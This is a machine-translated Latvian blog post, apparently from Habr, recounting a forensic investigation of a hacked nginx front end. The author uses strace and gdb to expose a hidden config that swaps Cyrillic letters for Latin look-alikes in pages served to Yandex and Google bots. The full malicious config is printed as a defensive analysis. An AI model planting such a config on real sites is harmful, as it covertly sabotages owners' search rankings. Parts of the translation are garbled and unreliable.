Kad ā€œaā€ nav vienāds ar ā€œaā€. Uz kapa takas

NepatÄ«kamākais stāsts notika ar vienu no maniem draugiem. Bet, lai cik nepatÄ«kami tas izrādÄ«jās Mihailam, man tas bija tikpat izklaidējoÅ”i.

Man jāsaka, ka mans draugs ir diezgan UNIX-lietotājs: var pats instalēt sistēmu mysql, php un veiciet vienkārÅ”us iestatÄ«jumus nginx.
Un viņam ir ducis vai pusotra vietņu, kas veltītas celtniecības instrumentiem.

Viena no Ŕīm vietnēm, kas veltÄ«ta motorzāģiem, stingri atrodas meklētājprogrammu TOPā. Å Ä« vietne ir nekomerciāla atsauksmju sniedzēja, taču kāds ir ieradies tai uzbrukt. Tas DDoS, pēc tam brutālu spēku, tad viņi raksta neÄ·Ä«trus komentārus un sÅ«ta pārkāpumus mitinātājam un RKN.
PēkŔņi viss nomierinājās, un Å”is miers izrādÄ«jās nelabs, un vietne sāka pakāpeniski atstāt meklÄ“Å”anas rezultātu augŔējās rindas.

Kad ā€œaā€ nav vienāds ar ā€œaā€. Pēc uzlauÅ”anas

Tas bija teiciens, tad pats administratora stāsts.

Tuvojas gulētieÅ”anas laiks, kad zvanÄ«ja telefons: ā€œSan, vai tu nepaskatÄ«sies uz manu serveri? Man Ŕķiet, ka esmu uzlauzta, es to nevaru pierādÄ«t, bet sajÅ«ta mani nepamet jau treÅ”o nedēļu. VarbÅ«t ir pienācis laiks man ārstēties no paranojas?

Tālāk sekoja pusstundu ilga diskusija, ko var rezumēt Ŕādi:

  • augsne uzlauÅ”anai bija diezgan auglÄ«ga;
  • uzbrucējs varētu iegÅ«t superlietotāja tiesÄ«bas;
  • uzbrukums (ja tas notika) bija Ä«paÅ”i vērsts uz Å”o vietni;
  • problēmzonas ir izlabotas, un jums tikai jāsaprot, vai ir bijusi iespieÅ”anās;
  • uzlauÅ”ana nevarēja ietekmēt vietnes kodu un datu bāzes.

Attiecībā uz pēdējo punktu.

Kad ā€œaā€ nav vienāds ar ā€œaā€. Pēc uzlauÅ”anas

Pasaulē skatās tikai baltā priekÅ”gala IP. Nav apmaiņas starp aizmugursistēmām un priekÅ”galu, izņemot http(s), lietotāji/paroles atŔķiras, atslēgas netika apmainÄ«tas. Pelēkās adresēs visi porti, izņemot 80/443, ir slēgti. White backend IP ir zināmi tikai diviem lietotājiem, kuriem Mihails pilnÄ«bā uzticas.

UzstādÄ«ts priekÅ”galā Debian 9 un brÄ«dÄ«, kad tiek veikts zvans, sistēma tiek izolēta no pasaules ar ārēju ugunsmÅ«ri un apturēta.

"Labi, dodiet man piekļuvi," es nolemju atlikt miegu uz stundu. "Es redzÄ“Å”u savām acÄ«m."

Šeit un tālāk:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Meklē iespējamu uzlauÅ”anu

Vispirms es startēju serveri glābÅ”anas režīms. Uzmontēju diskus un pārŔķiru tos autoritāte-baļķi, vēsture, sistēmas žurnālus utt., ja iespējams, pārbaudu faila izveides datumus, lai gan saprotu, ka parasts krekeris bÅ«tu pēc sevis ā€œuzslaucÄ«jisā€, un MiÅ”a jau bija daudz ā€œnomÄ«dÄ«jusiesā€, kamēr viņŔ sevi meklēja. .

Startēju normālā režīmā, vēl īsti nesaprotot, ko meklēt, pētu konfigurācijas. Pirmkārt, mani interesē nginx tā kā kopumā frontendā nav nekā cita, izņemot to.
Konfigurācijas ir mazas, labi strukturētas duci failos, es tās vienkārÅ”i skatos kaÄ·is'ak pa vienam. Å Ä·iet, ka viss ir tÄ«rs, bet nekad nevar zināt, vai esmu kaut ko palaidis garām ietvert, ļaujiet man izveidot pilnu sarakstu:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Es nesapratu: "Kur ir saraksts?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Otrs jautājums ir pievienots saraksta jautājumam: "Kāpēc tik sena nginx versija?"

Turklāt sistēma uzskata, ka ir instalēta jaunākā versija:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Es zvanu:
- MiÅ”a, kāpēc tu saliku no jauna nginx?
- Pagaidi, es pat nezinu, kā to izdarīt!
- Labi, ej gulēt...

Nginx tas ir skaidri pārbÅ«vēts, un ieraksta izvade, izmantojot ā€œ-Tā€, kāda iemesla dēļ ir paslēpta. Par uzlauÅ”anu vairs nav Å”aubu un var vienkārÅ”i pieņemt to un (tā kā MiÅ”a tik un tā nomainÄ«ja serveri pret jaunu) uzskatÄ«t problēmu par atrisinātu.

Un tieŔām, kopÅ” kāds ieguva tiesÄ«bas sakneAk, tad ir tikai jēga darÄ«t sistēmas pārinstalÄ“Å”ana, un bija bezjēdzÄ«gi meklēt, kas tur par vainu, bet Å”oreiz ziņkāre uzvarēja miegu. Kā mēs varam uzzināt, ko viņi gribēja no mums slēpt?

Mēģināsim izsekot:

$ strace nginx -T

Mēs to skatāmies, trasē acīmredzami ir par maz līniju a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Izklaidei salīdzināsim atklājumus.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Es domāju, ka daļa no koda /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

tika nogādāts formā:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

vai

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

tāpēc saraksts ar "-T" netiek parādīts.

Bet kā mēs varam apskatīt mūsu konfigurāciju?

Ja mana doma ir pareiza un problēma ir tikai mainÄ«gajā ngx_dump_config mēģināsim to instalēt, izmantojot gdb, par laimi ir atslēga --ar-cc-opt -g klāt un ceru, ka optimizācija -O2 tas mums nekaitēs. Tajā paŔā laikā, jo es nezinu, kā ngx_dump_config varētu tikt apstrādāts gadÄ«jums "T":, mēs Å”o bloku nesauksim, bet instalēsim, izmantojot gadÄ«jums "t":

Kāpēc varat izmantot gan ā€œ-tā€, gan ā€œ-Tā€Bloku apstrāde if(ngx_dump_config) notiek iekŔā if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Protams, ja kods tiek mainīts Ŕajā daļā, nevis iekŔā gadījums "T":, tad mana metode nedarbosies.

PārbaudÄ«t nginx.confJau eksperimentāli atrisinot problēmu, tika konstatēts, ka ļaunprogrammatÅ«ras darbÄ«bai ir nepiecieÅ”ama minimāla konfigurācija nginx veids:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Rakstā mēs to izmantosim īsuma labad.

Palaidiet atkļūdotāju

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map Š¾:$sign_user_agent:$sign_uri $sign_o
{
Š¾:1:0 o;
default Š¾;
}

map Š°:$sign_user_agent:$sign_uri $sign_a
{
Š°:1:0 a;
default Š°;
}

sub_filter_once off;
sub_filter 'Š¾' $sign_o;
sub_filter 'Š°' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Darbības:

  • iestatiet funkcijas pārtraukuma punktu Galvenais ()
  • palaidiet programmu
  • mainiet mainÄ«gā vērtÄ«bu, kas nosaka konfigurācijas izvadi ngx_dump_config=1
  • turpināt/beigt programmu

Kā redzam, Ä«stā konfigurācija atŔķiras no mÅ«su, mēs no tās izvēlamies parazÄ«tisko gabalu:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map Š¾:$sign_user_agent:$sign_uri $sign_o
{
Š¾:1:0 o;
default Š¾;
}

map Š°:$sign_user_agent:$sign_uri $sign_a
{
Š°:1:0 a;
default Š°;
}

sub_filter_once off;
sub_filter 'Š¾' $sign_o;
sub_filter 'Š°' $sign_a;

Apskatīsim Ŕeit notiekoŔo secībā.

Apņēmīgs User-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Pakalpojuma lapas ir izslēgtas WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Un tiem, kas atbilst abiem iepriekÅ” minētajiem nosacÄ«jumiem

map Š¾:$sign_user_agent:$sign_uri $sign_o
{
Š¾:1:0 o;
default Š¾;
}

map Š°:$sign_user_agent:$sign_uri $sign_a
{
Š°:1:0 a;
default Š°;
}

tekstā html- lapas mainās 'O' par 'o' Šø "A" par "a":

sub_filter_once off;
sub_filter 'Š¾' $sign_o;
sub_filter 'Š°' $sign_a;

TieŔi tā, vienīgais smalkums ir tas 'a' != 'a' tieŔi kā 'o'!= 'o':

Kad ā€œaā€ nav vienāds ar ā€œaā€. Pēc uzlauÅ”anas

Tādējādi meklētājprogrammu robotprogrammatÅ«ra parastā 100% kirilicas teksta vietā saņem modificētu atkritumu, kas atŔķaidÄ«ts ar latīņu valodu "a" Šø 'o'. Es neuzdroÅ”inos apspriest, kā tas ietekmē SEO, taču maz ticams, ka Ŕāda burtu juceklis pozitÄ«vi ietekmēs pozÄ«cijas meklÄ“Å”anas rezultātos.

Ko lai saka, puiÅ”i ar iztēli.

atsauces

AtkļūdoŔana, izmantojot GDB
gdb(1) ā€” Linux rokasgrāmata
strace(1) ā€” Linux rokasgrāmata
Nginx ā€” modulis ngx_http_sub_module
Par zāģiem, motorzāģiem un elektriskajiem zāģiem

Avots: www.habr.com

Pievieno komentāru